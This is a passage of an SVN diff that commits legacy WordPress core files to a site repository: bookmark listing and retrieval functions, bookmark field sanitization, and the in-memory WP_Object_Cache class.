+ * what is between, before, and after can be changed. The link itself will be
+ * HTML.
+ *
+ * This function is used internally by wp_list_bookmarks() and should not be
+ * used by themes.
+ *
+ * The defaults for overwriting are:
+ * 'show_updated' - Default is 0 (integer). Will show the time of when the
+ *		bookmark was last updated.
+ * 'show_description' - Default is 0 (integer). Whether to show the description
+ *		of the bookmark.
+ * 'show_images' - Default is 1 (integer). Whether to show link image if
+ *		available.
+ * 'show_name' - Default is 0 (integer). Whether to show link name if
+ *		available.
+ * 'before' - Default is '<li>' (string). The html or text to prepend to each
+ *		bookmarks.
+ * 'after' - Default is '</li>' (string). The html or text to append to each
+ *		bookmarks.
+ * 'link_before' - Default is '' (string). The html or text to prepend to each
+ *		bookmarks inside the <a> tag.
+ * 'link_after' - Default is '' (string). The html or text to append to each
+ *		bookmarks inside the <a> tag.
+ * 'between' - Default is '\n' (string). The string for use in between the link,
+ *		description, and image.
+ * 'show_rating' - Default is 0 (integer). Whether to show the link rating.
+ *
+ * @since 2.1.0
+ * @access private
+ * @usedby wp_list_bookmarks()
+ *
+ * @param array $bookmarks List of bookmarks to traverse
+ * @param string|array $args Optional. Overwrite the defaults.
+ * @return string Formatted output in HTML
+ */
+function _walk_bookmarks($bookmarks, $args = '' ) {
+	$defaults = array(
+		'show_updated' => 0, 'show_description' => 0,
+		'show_images' => 1, 'show_name' => 0,
+		'before' => '<li>', 'after' => '</li>', 'between' => "\n",
+		'show_rating' => 0, 'link_before' => '', 'link_after' => ''
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+	extract( $r, EXTR_SKIP );
+
+	$output = ''; // Blank string to start with.
+
+	foreach ( (array) $bookmarks as $bookmark ) {
+		if ( !isset($bookmark->recently_updated) )
+			$bookmark->recently_updated = false;
+		$output .= $before;
+		if ( $show_updated && $bookmark->recently_updated )
+			$output .= get_option('links_recently_updated_prepend');
+
+		$the_link = '#';
+		if ( !empty($bookmark->link_url) )
+			$the_link = esc_url($bookmark->link_url);
+
+		$desc = esc_attr(sanitize_bookmark_field('link_description', $bookmark->link_description, $bookmark->link_id, 'display'));
+		$name = esc_attr(sanitize_bookmark_field('link_name', $bookmark->link_name, $bookmark->link_id, 'display'));
+ 		$title = $desc;
+
+		if ( $show_updated )
+			if ( '00' != substr($bookmark->link_updated_f, 0, 2) ) {
+				$title .= ' (';
+				$title .= sprintf(__('Last updated: %s'), date(get_option('links_updated_date_format'), $bookmark->link_updated_f + (get_option('gmt_offset') * 3600)));
+				$title .= ')';
+			}
+
+		$alt = ' alt="' . $name . ( $show_description ? ' ' . $title : '' ) . '"';
+
+		if ( '' != $title )
+			$title = ' title="' . $title . '"';
+
+		$rel = $bookmark->link_rel;
+		if ( '' != $rel )
+			$rel = ' rel="' . $rel . '"';
+
+		$target = $bookmark->link_target;
+		if ( '' != $target )
+			$target = ' target="' . $target . '"';
+
+		$output .= '<a href="' . $the_link . '"' . $rel . $title . $target . '>';
+
+		$output .= $link_before;
+
+		if ( $bookmark->link_image != null && $show_images ) {
+			if ( strpos($bookmark->link_image, 'http') === 0 )
+				$output .= "<img src=\"$bookmark->link_image\" $alt $title />";
+			else // If it's a relative path
+				$output .= "<img src=\"" . get_option('siteurl') . "$bookmark->link_image\" $alt $title />";
+
+			if ( $show_name )
+				$output .= " $name";
+		} else {
+			$output .= $name;
+		}
+
+		$output .= $link_after;
+
+		$output .= '</a>';
+
+		if ( $show_updated && $bookmark->recently_updated )
+			$output .= get_option('links_recently_updated_append');
+
+		if ( $show_description && '' != $desc )
+			$output .= $between . $desc;
+
+		if ( $show_rating )
+			$output .= $between . sanitize_bookmark_field('link_rating', $bookmark->link_rating, $bookmark->link_id, 'display');
+
+		$output .= "$after\n";
+	} // end while
+
+	return $output;
+}
+
+/**
+ * Retrieve or echo all of the bookmarks.
+ *
+ * List of default arguments are as follows:
+ * 'orderby' - Default is 'name' (string). How to order the links by. String is
+ *		based off of the bookmark scheme.
+ * 'order' - Default is 'ASC' (string). Either 'ASC' or 'DESC'. Orders in either
+ *		ascending or descending order.
+ * 'limit' - Default is -1 (integer) or show all. The amount of bookmarks to
+ *		display.
+ * 'category' - Default is empty string (string). Include the links in what
+ *		category ID(s).
+ * 'category_name' - Default is empty string (string). Get links by category
+ *		name.
+ * 'hide_invisible' - Default is 1 (integer). Whether to show (default) or hide
+ *		links marked as 'invisible'.
+ * 'show_updated' - Default is 0 (integer). Will show the time of when the
+ *		bookmark was last updated.
+ * 'echo' - Default is 1 (integer). Whether to echo (default) or return the
+ *		formatted bookmarks.
+ * 'categorize' - Default is 1 (integer). Whether to show links listed by
+ *		category (default) or show links in one column.
+ *
+ * These options define how the Category name will appear before the category
+ * links are displayed, if 'categorize' is 1. If 'categorize' is 0, then it will
+ * display for only the 'title_li' string and only if 'title_li' is not empty.
+ * 'title_li' - Default is 'Bookmarks' (translatable string). What to show
+ *		before the links appear.
+ * 'title_before' - Default is '<h2>' (string). The HTML or text to show before
+ *		the 'title_li' string.
+ * 'title_after' - Default is '</h2>' (string). The HTML or text to show after
+ *		the 'title_li' string.
+ * 'class' - Default is 'linkcat' (string). The CSS class to use for the
+ *		'title_li'.
+ *
+ * 'category_before' - Default is '<li id="%id" class="%class">'. String must
+ *		contain '%id' and '%class' to get
+ * the id of the category and the 'class' argument. These are used for
+ *		formatting in themes.
+ * Argument will be displayed before the 'title_before' argument.
+ * 'category_after' - Default is '</li>' (string). The HTML or text that will
+ *		appear after the list of links.
+ *
+ * These are only used if 'categorize' is set to 1 or true.
+ * 'category_orderby' - Default is 'name'. How to order the bookmark category
+ *		based on term scheme.
+ * 'category_order' - Default is 'ASC'. Set the order by either ASC (ascending)
+ *		or DESC (descending).
+ *
+ * @see _walk_bookmarks() For other arguments that can be set in this function
+ *		and passed to _walk_bookmarks().
+ * @see get_bookmarks() For other arguments that can be set in this function and
+ *		passed to get_bookmarks().
+ * @link http://codex.wordpress.org/Template_Tags/wp_list_bookmarks
+ *
+ * @since 2.1.0
+ * @uses _list_bookmarks() Used to iterate over all of the bookmarks and return
+ *		the html
+ * @uses get_terms() Gets all of the categories that are for links.
+ *
+ * @param string|array $args Optional. Overwrite the defaults of the function
+ * @return string|null Will only return if echo option is set to not echo.
+ *		Default is not return anything.
+ */
+function wp_list_bookmarks($args = '') {
+	$defaults = array(
+		'orderby' => 'name', 'order' => 'ASC',
+		'limit' => -1, 'category' => '', 'exclude_category' => '',
+		'category_name' => '', 'hide_invisible' => 1,
+		'show_updated' => 0, 'echo' => 1,
+		'categorize' => 1, 'title_li' => __('Bookmarks'),
+		'title_before' => '<h2>', 'title_after' => '</h2>',
+		'category_orderby' => 'name', 'category_order' => 'ASC',
+		'class' => 'linkcat', 'category_before' => '<li id="%id" class="%class">',
+		'category_after' => '</li>'
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+	extract( $r, EXTR_SKIP );
+
+	$output = '';
+
+	if ( $categorize ) {
+		//Split the bookmarks into ul's for each category
+		$cats = get_terms('link_category', array('name__like' => $category_name, 'include' => $category, 'exclude' => $exclude_category, 'orderby' => $category_orderby, 'order' => $category_order, 'hierarchical' => 0));
+
+		foreach ( (array) $cats as $cat ) {
+			$params = array_merge($r, array('category'=>$cat->term_id));
+			$bookmarks = get_bookmarks($params);
+			if ( empty($bookmarks) )
+				continue;
+			$output .= str_replace(array('%id', '%class'), array("linkcat-$cat->term_id", $class), $category_before);
+			$catname = apply_filters( "link_category", $cat->name );
+			$output .= "$title_before$catname$title_after\n\t<ul class='xoxo blogroll'>\n";
+			$output .= _walk_bookmarks($bookmarks, $r);
+			$output .= "\n\t</ul>\n$category_after\n";
+		}
+	} else {
+		//output one single list using title_li for the title
+		$bookmarks = get_bookmarks($r);
+
+		if ( !empty($bookmarks) ) {
+			if ( !empty( $title_li ) ){
+				$output .= str_replace(array('%id', '%class'), array("linkcat-$category", $class), $category_before);
+				$output .= "$title_before$title_li$title_after\n\t<ul class='xoxo blogroll'>\n";
+				$output .= _walk_bookmarks($bookmarks, $r);
+				$output .= "\n\t</ul>\n$category_after\n";
+			} else {
+				$output .= _walk_bookmarks($bookmarks, $r);
+			}
+		}
+	}
+
+	$output = apply_filters( 'wp_list_bookmarks', $output );
+
+	if ( !$echo )
+		return $output;
+	echo $output;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/bookmark.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/bookmark.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/bookmark.php	(revision 44)
@@ -0,0 +1,376 @@
+<?php
+/**
+ * Link/Bookmark API
+ *
+ * @package WordPress
+ * @subpackage Bookmark
+ */
+
+/**
+ * Retrieve Bookmark data based on ID
+ *
+ * @since 2.1.0
+ * @uses $wpdb Database Object
+ *
+ * @param int $bookmark_id
+ * @param string $output Optional. Either OBJECT, ARRAY_N, or ARRAY_A constant
+ * @param string $filter Optional, default is 'raw'.
+ * @return array|object Type returned depends on $output value.
+ */
+function get_bookmark($bookmark, $output = OBJECT, $filter = 'raw') {
+	global $wpdb;
+
+	if ( empty($bookmark) ) {
+		if ( isset($GLOBALS['link']) )
+			$_bookmark = & $GLOBALS['link'];
+		else
+			$_bookmark = null;
+	} elseif ( is_object($bookmark) ) {
+		wp_cache_add($bookmark->link_id, $bookmark, 'bookmark');
+		$_bookmark = $bookmark;
+	} else {
+		if ( isset($GLOBALS['link']) && ($GLOBALS['link']->link_id == $bookmark) ) {
+			$_bookmark = & $GLOBALS['link'];
+		} elseif ( ! $_bookmark = wp_cache_get($bookmark, 'bookmark') ) {
+			$_bookmark = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->links WHERE link_id = %d LIMIT 1", $bookmark));
+			$_bookmark->link_category = array_unique( wp_get_object_terms($_bookmark->link_id, 'link_category', 'fields=ids') );
+			wp_cache_add($_bookmark->link_id, $_bookmark, 'bookmark');
+		}
+	}
+
+	$_bookmark = sanitize_bookmark($_bookmark, $filter);
+
+	if ( $output == OBJECT ) {
+		return $_bookmark;
+	} elseif ( $output == ARRAY_A ) {
+		return get_object_vars($_bookmark);
+	} elseif ( $output == ARRAY_N ) {
+		return array_values(get_object_vars($_bookmark));
+	} else {
+		return $_bookmark;
+	}
+}
+
+/**
+ * Retrieve single bookmark data item or field.
+ *
+ * @since 2.3.0
+ * @uses get_bookmark() Gets bookmark object using $bookmark as ID
+ * @uses sanitize_bookmark_field() Sanitizes Bookmark field based on $context.
+ *
+ * @param string $field The name of the data field to return
+ * @param int $bookmark The bookmark ID to get field
+ * @param string $context Optional. The context of how the field will be used.
+ * @return string
+ */
+function get_bookmark_field( $field, $bookmark, $context = 'display' ) {
+	$bookmark = (int) $bookmark;
+	$bookmark = get_bookmark( $bookmark );
+
+	if ( is_wp_error($bookmark) )
+		return $bookmark;
+
+	if ( !is_object($bookmark) )
+		return '';
+
+	if ( !isset($bookmark->$field) )
+		return '';
+
+	return sanitize_bookmark_field($field, $bookmark->$field, $bookmark->link_id, $context);
+}
+
+/**
+ * Retrieve bookmark data based on ID.
+ *
+ * @since 2.0.0
+ * @deprecated Use get_bookmark()
+ * @see get_bookmark()
+ *
+ * @param int $bookmark_id ID of link
+ * @param string $output Either OBJECT, ARRAY_N, or ARRAY_A
+ * @return object|array
+ */
+function get_link($bookmark_id, $output = OBJECT, $filter = 'raw') {
+	return get_bookmark($bookmark_id, $output, $filter);
+}
+
+/**
+ * Retrieves the list of bookmarks
+ *
+ * Attempts to retrieve from the cache first based on MD5 hash of arguments. If
+ * that fails, then the query will be built from the arguments and executed. The
+ * results will be stored to the cache.
+ *
+ * List of default arguments are as follows:
+ * 'orderby' - Default is 'name' (string). How to order the links by. String is
+ *		based off of the bookmark scheme.
+ * 'order' - Default is 'ASC' (string). Either 'ASC' or 'DESC'. Orders in either
+ *		ascending or descending order.
+ * 'limit' - Default is -1 (integer) or show all. The amount of bookmarks to
+ *		display.
+ * 'category' - Default is empty string (string). Include the links in what
+ *		category ID(s).
+ * 'category_name' - Default is empty string (string). Get links by category
+ *		name.
+ * 'hide_invisible' - Default is 1 (integer). Whether to show (default) or hide
+ *		links marked as 'invisible'.
+ * 'show_updated' - Default is 0 (integer). Will show the time of when the
+ *		bookmark was last updated.
+ * 'include' - Default is empty string (string). Include other categories
+ *		separated by commas.
+ * 'exclude' - Default is empty string (string). Exclude other categories
+ *		separated by commas.
+ *
+ * @since 2.1.0
+ * @uses $wpdb Database Object
+ * @link http://codex.wordpress.org/Template_Tags/get_bookmarks
+ *
+ * @param string|array $args List of arguments to overwrite the defaults
+ * @return array List of bookmark row objects
+ */
+function get_bookmarks($args = '') {
+	global $wpdb;
+
+	$defaults = array(
+		'orderby' => 'name', 'order' => 'ASC',
+		'limit' => -1, 'category' => '',
+		'category_name' => '', 'hide_invisible' => 1,
+		'show_updated' => 0, 'include' => '',
+		'exclude' => '', 'search' => ''
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+	extract( $r, EXTR_SKIP );
+
+	$cache = array();
+	$key = md5( serialize( $r ) );
+	if ( $cache = wp_cache_get( 'get_bookmarks', 'bookmark' ) ) {
+		if ( is_array($cache) && isset( $cache[ $key ] ) )
+			return apply_filters('get_bookmarks', $cache[ $key ], $r );
+	}
+
+	if ( !is_array($cache) )
+		$cache = array();
+
+	$inclusions = '';
+	if ( !empty($include) ) {
+		$exclude = '';  //ignore exclude, category, and category_name params if using include
+		$category = '';
+		$category_name = '';
+		$inclinks = preg_split('/[\s,]+/',$include);
+		if ( count($inclinks) ) {
+			foreach ( $inclinks as $inclink ) {
+				if (empty($inclusions))
+					$inclusions = ' AND ( link_id = ' . intval($inclink) . ' ';
+				else
+					$inclusions .= ' OR link_id = ' . intval($inclink) . ' ';
+			}
+		}
+	}
+	if (!empty($inclusions))
+		$inclusions .= ')';
+
+	$exclusions = '';
+	if ( !empty($exclude) ) {
+		$exlinks = preg_split('/[\s,]+/',$exclude);
+		if ( count($exlinks) ) {
+			foreach ( $exlinks as $exlink ) {
+				if (empty($exclusions))
+					$exclusions = ' AND ( link_id <> ' . intval($exlink) . ' ';
+				else
+					$exclusions .= ' AND link_id <> ' . intval($exlink) . ' ';
+			}
+		}
+	}
+	if (!empty($exclusions))
+		$exclusions .= ')';
+
+	if ( !empty($category_name) ) {
+		if ( $category = get_term_by('name', $category_name, 'link_category') ) {
+			$category = $category->term_id;
+		} else {
+			$cache[ $key ] = array();
+			wp_cache_set( 'get_bookmarks', $cache, 'bookmark' );
+			return apply_filters( 'get_bookmarks', array(), $r );
+		}
+	}
+
+	if ( ! empty($search) ) {
+		$search = like_escape($search);
+		$search = " AND ( (link_url LIKE '%$search%') OR (link_name LIKE '%$search%') OR (link_description LIKE '%$search%') ) ";
+	}
+
+	$category_query = '';
+	$join = '';
+	if ( !empty($category) ) {
+		$incategories = preg_split('/[\s,]+/',$category);
+		if ( count($incategories) ) {
+			foreach ( $incategories as $incat ) {
+				if (empty($category_query))
+					$category_query = ' AND ( tt.term_id = ' . intval($incat) . ' ';
+				else
+					$category_query .= ' OR tt.term_id = ' . intval($incat) . ' ';
+			}
+		}
+	}
+	if (!empty($category_query)) {
+		$category_query .= ") AND taxonomy = 'link_category'";
+		$join = " INNER JOIN $wpdb->term_relationships AS tr ON ($wpdb->links.link_id = tr.object_id) INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_taxonomy_id = tr.term_taxonomy_id";
+	}
+
+	if (get_option('links_recently_updated_time')) {
+		$recently_updated_test = ", IF (DATE_ADD(link_updated, INTERVAL " . get_option('links_recently_updated_time') . " MINUTE) >= NOW(), 1,0) as recently_updated ";
+	} else {
+		$recently_updated_test = '';
+	}
+
+	$get_updated = ( $show_updated ) ? ', UNIX_TIMESTAMP(link_updated) AS link_updated_f ' : '';
+
+	$orderby = strtolower($orderby);
+	$length = '';
+	switch ($orderby) {
+		case 'length':
+			$length = ", CHAR_LENGTH(link_name) AS length";
+			break;
+		case 'rand':
+			$orderby = 'rand()';
+			break;
+		default:
+			$orderby = "link_" . $orderby;
+	}
+
+	if ( 'link_id' == $orderby )
+		$orderby = "$wpdb->links.link_id";
+
+	$visible = '';
+	if ( $hide_invisible )
+		$visible = "AND link_visible = 'Y'";
+
+	$query = "SELECT * $length $recently_updated_test $get_updated FROM $wpdb->links $join WHERE 1=1 $visible $category_query";
+	$query .= " $exclusions $inclusions $search";
+	$query .= " ORDER BY $orderby $order";
+	if ($limit != -1)
+		$query .= " LIMIT $limit";
+
+	$results = $wpdb->get_results($query);
+
+	$cache[ $key ] = $results;
+	wp_cache_set( 'get_bookmarks', $cache, 'bookmark' );
+
+	return apply_filters('get_bookmarks', $results, $r);
+}
+
+/**
+ * Sanitizes all bookmark fields
+ *
+ * @since 2.3.0
+ *
+ * @param object|array $bookmark Bookmark row
+ * @param string $context Optional, default is 'display'. How to filter the
+ *		fields
+ * @return object|array Same type as $bookmark but with fields sanitized.
+ */
+function sanitize_bookmark($bookmark, $context = 'display') {
+	$fields = array('link_id', 'link_url', 'link_name', 'link_image', 'link_target', 'link_category',
+		'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_updated',
+		'link_rel', 'link_notes', 'link_rss', );
+
+	if ( is_object($bookmark) ) {
+		$do_object = true;
+		$link_id = $bookmark->link_id;
+	} else {
+		$do_object = false;
+		$link_id = $bookmark['link_id'];
+	}
+
+	foreach ( $fields as $field ) {
+		if ( $do_object ) {
+			if ( isset($bookmark->$field) )
+				$bookmark->$field = sanitize_bookmark_field($field, $bookmark->$field, $link_id, $context);
+		} else {
+			if ( isset($bookmark[$field]) )
+				$bookmark[$field] = sanitize_bookmark_field($field, $bookmark[$field], $link_id, $context);
+		}
+	}
+
+	return $bookmark;
+}
+
+/**
+ * Sanitizes a bookmark field
+ *
+ * Sanitizes the bookmark fields based on what the field name is. If the field
+ * has a strict value set, then it will be tested for that, else a more generic
+ * filtering is applied. After the more strict filter is applied, if the
+ * $context is 'raw' then the value is immediately return.
+ *
+ * Hooks exist for the more generic cases. With the 'edit' context, the
+ * 'edit_$field' filter will be called and passed the $value and $bookmark_id
+ * respectively. With the 'db' context, the 'pre_$field' filter is called and
+ * passed the value. The 'display' context is the final context and has the
+ * $field has the filter name and is passed the $value, $bookmark_id, and
+ * $context respectively.
+ *
+ * @since 2.3.0
+ *
+ * @param string $field The bookmark field
+ * @param mixed $value The bookmark field value
+ * @param int $bookmark_id Bookmark ID
+ * @param string $context How to filter the field value. Either 'raw', 'edit',
+ *		'attribute', 'js', 'db', or 'display'
+ * @return mixed The filtered value
+ */
+function sanitize_bookmark_field($field, $value, $bookmark_id, $context) {
+	$int_fields = array('link_id', 'link_rating');
+	if ( in_array($field, $int_fields) )
+		$value = (int) $value;
+
+	$yesno = array('link_visible');
+	if ( in_array($field, $yesno) )
+		$value = preg_replace('/[^YNyn]/', '', $value);
+
+	if ( 'link_target' == $field ) {
+		$targets = array('_top', '_blank');
+		if ( ! in_array($value, $targets) )
+			$value = '';
+	}
+
+	if ( 'raw' == $context )
+		return $value;
+
+	if ( 'edit' == $context ) {
+		$format_to_edit = array('link_notes');
+		$value = apply_filters("edit_$field", $value, $bookmark_id);
+
+		if ( in_array($field, $format_to_edit) ) {
+			$value = format_to_edit($value);
+		} else {
+			$value = esc_attr($value);
+		}
+	} else if ( 'db' == $context ) {
+		$value = apply_filters("pre_$field", $value);
+	} else {
+		// Use display filters by default.
+		$value = apply_filters($field, $value, $bookmark_id, $context);
+	}
+
+	if ( 'attribute' == $context )
+		$value = esc_attr($value);
+	else if ( 'js' == $context )
+		$value = esc_js($value);
+
+	return $value;
+}
+
+/**
+ * Deletes bookmark cache
+ *
+ * @since 2.7.0
+ * @uses wp_cache_delete() Deletes the contents of 'get_bookmarks'
+ */
+function clean_bookmark_cache($bookmark_id) {
+	wp_cache_delete( $bookmark_id, 'bookmark' );
+	wp_cache_delete( 'get_bookmarks', 'bookmark' );
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/cache.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/cache.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/cache.php	(revision 44)
@@ -0,0 +1,452 @@
+<?php
+/**
+ * Object Cache API
+ *
+ * @link http://codex.wordpress.org/Function_Reference/WP_Cache
+ *
+ * @package WordPress
+ * @subpackage Cache
+ */
+
+/**
+ * Adds data to the cache, if the cache key doesn't aleady exist.
+ *
+ * @since 2.0.0
+ * @uses $wp_object_cache Object Cache Class
+ * @see WP_Object_Cache::add()
+ *
+ * @param int|string $key The cache ID to use for retrieval later
+ * @param mixed $data The data to add to the cache store
+ * @param string $flag The group to add the cache to
+ * @param int $expire When the cache data should be expired
+ * @return unknown
+ */
+function wp_cache_add($key, $data, $flag = '', $expire = 0) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->add($key, $data, $flag, $expire);
+}
+
+/**
+ * Closes the cache.
+ *
+ * This function has ceased to do anything since WordPress 2.5. The
+ * functionality was removed along with the rest of the persistant cache. This
+ * does not mean that plugins can't implement this function when they need to
+ * make sure that the cache is cleaned up after WordPress no longer needs it.
+ *
+ * @since 2.0.0
+ *
+ * @return bool Always returns True
+ */
+function wp_cache_close() {
+	return true;
+}
+
+/**
+ * Removes the cache contents matching ID and flag.
+ *
+ * @since 2.0.0
+ * @uses $wp_object_cache Object Cache Class
+ * @see WP_Object_Cache::delete()
+ *
+ * @param int|string $id What the contents in the cache are called
+ * @param string $flag Where the cache contents are grouped
+ * @return bool True on successful removal, false on failure
+ */
+function wp_cache_delete($id, $flag = '') {
+	global $wp_object_cache;
+
+	return $wp_object_cache->delete($id, $flag);
+}
+
+/**
+ * Removes all cache items.
+ *
+ * @since 2.0.0
+ * @uses $wp_object_cache Object Cache Class
+ * @see WP_Object_Cache::flush()
+ *
+ * @return bool Always returns true
+ */
+function wp_cache_flush() {
+	global $wp_object_cache;
+
+	return $wp_object_cache->flush();
+}
+
+/**
+ * Retrieves the cache contents from the cache by ID and flag.
+ *
+ * @since 2.0.0
+ * @uses $wp_object_cache Object Cache Class
+ * @see WP_Object_Cache::get()
+ *
+ * @param int|string $id What the contents in the cache are called
+ * @param string $flag Where the cache contents are grouped
+ * @return bool|mixed False on failure to retrieve contents or the cache
+ *		contents on success
+ */
+function wp_cache_get($id, $flag = '') {
+	global $wp_object_cache;
+
+	return $wp_object_cache->get($id, $flag);
+}
+
+/**
+ * Sets up Object Cache Global and assigns it.
+ *
+ * @since 2.0.0
+ * @global WP_Object_Cache $wp_object_cache WordPress Object Cache
+ */
+function wp_cache_init() {
+	$GLOBALS['wp_object_cache'] =& new WP_Object_Cache();
+}
+
+/**
+ * Replaces the contents of the cache with new data.
+ *
+ * @since 2.0.0
+ * @uses $wp_object_cache Object Cache Class
+ * @see WP_Object_Cache::replace()
+ *
+ * @param int|string $id What to call the contents in the cache
+ * @param mixed $data The contents to store in the cache
+ * @param string $flag Where to group the cache contents
+ * @param int $expire When to expire the cache contents
+ * @return bool False if cache ID and group already exists, true on success
+ */
+function wp_cache_replace($key, $data, $flag = '', $expire = 0) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->replace($key, $data, $flag, $expire);
+}
+
+/**
+ * Saves the data to the cache.
+ *
+ * @since 2.0
+ * @uses $wp_object_cache Object Cache Class
+ * @see WP_Object_Cache::set()
+ *
+ * @param int|string $id What to call the contents in the cache
+ * @param mixed $data The contents to store in the cache
+ * @param string $flag Where to group the cache contents
+ * @param int $expire When to expire the cache contents
+ * @return bool False if cache ID and group already exists, true on success
+ */
+function wp_cache_set($key, $data, $flag = '', $expire = 0) {
+	global $wp_object_cache;
+
+	return $wp_object_cache->set($key, $data, $flag, $expire);
+}
+
+/**
+ * Adds a group or set of groups to the list of global groups.
+ *
+ * @since 2.6.0
+ *
+ * @param string|array $groups A group or an array of groups to add
+ */
+function wp_cache_add_global_groups( $groups ) {
+	// Default cache doesn't persist so nothing to do here.
+	return;
+}
+
+/**
+ * Adds a group or set of groups to the list of non-persistent groups.
+ *
+ * @since 2.6.0
+ *
+ * @param string|array $groups A group or an array of groups to add
+ */
+function wp_cache_add_non_persistent_groups( $groups ) {
+	// Default cache doesn't persist so nothing to do here.
+	return;
+}
+
+/**
+ * WordPress Object Cache
+ *
+ * The WordPress Object Cache is used to save on trips to the database. The
+ * Object Cache stores all of the cache data to memory and makes the cache
+ * contents available by using a key, which is used to name and later retrieve
+ * the cache contents.
+ *
+ * The Object Cache can be replaced by other caching mechanisms by placing files
+ * in the wp-content folder which is looked at in wp-settings. If that file
+ * exists, then this file will not be included.
+ *
+ * @package WordPress
+ * @subpackage Cache
+ * @since 2.0
+ */
+class WP_Object_Cache {
+
+	/**
+	 * Holds the cached objects
+	 *
+	 * @var array
+	 * @access private
+	 * @since 2.0.0
+	 */
+	var $cache = array ();
+
+	/**
+	 * Cache objects that do not exist in the cache
+	 *
+	 * @var array
+	 * @access private
+	 * @since 2.0.0
+	 */
+	var $non_existant_objects = array ();
+
+	/**
+	 * The amount of times the cache data was already stored in the cache.
+	 *
+	 * @since 2.5.0
+	 * @access private
+	 * @var int
+	 */
+	var $cache_hits = 0;
+
+	/**
+	 * Amount of times the cache did not have the request in cache
+	 *
+	 * @var int
+	 * @access public
+	 * @since 2.0.0
+	 */
+	var $cache_misses = 0;
+
+	/**
+	 * Adds data to the cache if it doesn't already exist.
+	 *
+	 * @uses WP_Object_Cache::get Checks to see if the cache already has data.
+	 * @uses WP_Object_Cache::set Sets the data after the checking the cache
+	 *		contents existance.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int|string $id What to call the contents in the cache
+	 * @param mixed $data The contents to store in the cache
+	 * @param string $group Where to group the cache contents
+	 * @param int $expire When to expire the cache contents
+	 * @return bool False if cache ID and group already exists, true on success
+	 */
+	function add($id, $data, $group = 'default', $expire = '') {
+		if (empty ($group))
+			$group = 'default';
+
+		if (false !== $this->get($id, $group, false))
+			return false;
+
+		return $this->set($id, $data, $group, $expire);
+	}
+
+	/**
+	 * Remove the contents of the cache ID in the group
+	 *
+	 * If the cache ID does not exist in the group and $force parameter is set
+	 * to false, then nothing will happen. The $force parameter is set to false
+	 * by default.
+	 *
+	 * On success the group and the id will be added to the
+	 * $non_existant_objects property in the class.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int|string $id What the contents in the cache are called
+	 * @param string $group Where the cache contents are grouped
+	 * @param bool $force Optional. Whether to force the unsetting of the cache
+	 *		ID in the group
+	 * @return bool False if the contents weren't deleted and true on success
+	 */
+	function delete($id, $group = 'default', $force = false) {
+		if (empty ($group))
+			$group = 'default';
+
+		if (!$force && false === $this->get($id, $group, false))
+			return false;
+
+		unset ($this->cache[$group][$id]);
+		$this->non_existant_objects[$group][$id] = true;
+		return true;
+	}
+
+	/**
+	 * Clears the object cache of all data
+	 *
+	 * @since 2.0.0
+	 *
+	 * @return bool Always returns true
+	 */
+	function flush() {
+		$this->cache = array ();
+
+		return true;
+	}
+
+	/**
+	 * Retrieves the cache contents, if it exists
+	 *
+	 * The contents will be first attempted to be retrieved by searching by the
+	 * ID in the cache group. If the cache is hit (success) then the contents
+	 * are returned.
+	 *
+	 * On failure, the $non_existant_objects property is checked and if the
+	 * cache group and ID exist in there the cache misses will not be
+	 * incremented. If not in the nonexistant objects property, then the cache
+	 * misses will be incremented and the cache group and ID will be added to
+	 * the nonexistant objects.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int|string $id What the contents in the cache are called
+	 * @param string $group Where the cache contents are grouped
+	 * @return bool|mixed False on failure to retrieve contents or the cache
+	 *		contents on success
+	 */
+	function get($id, $group = 'default') {
+		if (empty ($group))
+			$group = 'default';
+
+		if (isset ($this->cache[$group][$id])) {
+			$this->cache_hits += 1;
+			if ( is_object($this->cache[$group][$id]) )
+				return wp_clone($this->cache[$group][$id]);
+			else
+				return $this->cache[$group][$id];
+		}
+
+		if ( isset ($this->non_existant_objects[$group][$id]) )
+			return false;
+
+		$this->non_existant_objects[$group][$id] = true;
+		$this->cache_misses += 1;
+		return false;
+	}
+
+	/**
+	 * Replace the contents in the cache, if contents already exist
+	 *
+	 * @since 2.0.0
+	 * @see WP_Object_Cache::set()
+	 *
+	 * @param int|string $id What to call the contents in the cache
+	 * @param mixed $data The contents to store in the cache
+	 * @param string $group Where to group the cache contents
+	 * @param int $expire When to expire the cache contents
+	 * @return bool False if not exists, true if contents were replaced
+	 */
+	function replace($id, $data, $group = 'default', $expire = '') {
+		if (empty ($group))
+			$group = 'default';
+
+		if (false === $this->get($id, $group, false))
+			return false;
+
+		return $this->set($id, $data, $group, $expire);
+	}
+
+	/**
+	 * Sets the data contents into the cache
+	 *
+	 * The cache contents is grouped by the $group parameter followed by the
+	 * $id. This allows for duplicate ids in unique groups. Therefore, naming of
+	 * the group should be used with care and should follow normal function
+	 * naming guidelines outside of core WordPress usage.
+	 *
+	 * The $expire parameter is not used, because the cache will automatically
+	 * expire for each time a page is accessed and PHP finishes. The method is
+	 * more for cache plugins which use files.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int|string $id What to call the contents in the cache
+	 * @param mixed $data The contents to store in the cache
+	 * @param string $group Where to group the cache contents
+	 * @param int $expire Not Used
+	 * @return bool Always returns true
+	 */
+	function set($id, $data, $group = 'default', $expire = '') {
+		if (empty ($group))
+			$group = 'default';
+
+		if (NULL === $data)
+			$data = '';
+
+		if ( is_object($data) )
+			$data = wp_clone($data);
+
+		$this->cache[$group][$id] = $data;
+
+		if(isset($this->non_existant_objects[$group][$id]))
+			unset ($this->non_existant_objects[$group][$id]);
+
+		return true;
+	}
+
+	/**
+	 * Echos the stats of the caching.
+	 *
+	 * Gives the cache hits, and cache misses. Also prints every cached group,
+	 * key and the data.
+	 *
+	 * @since 2.0.0
+	 */
+	function stats() {
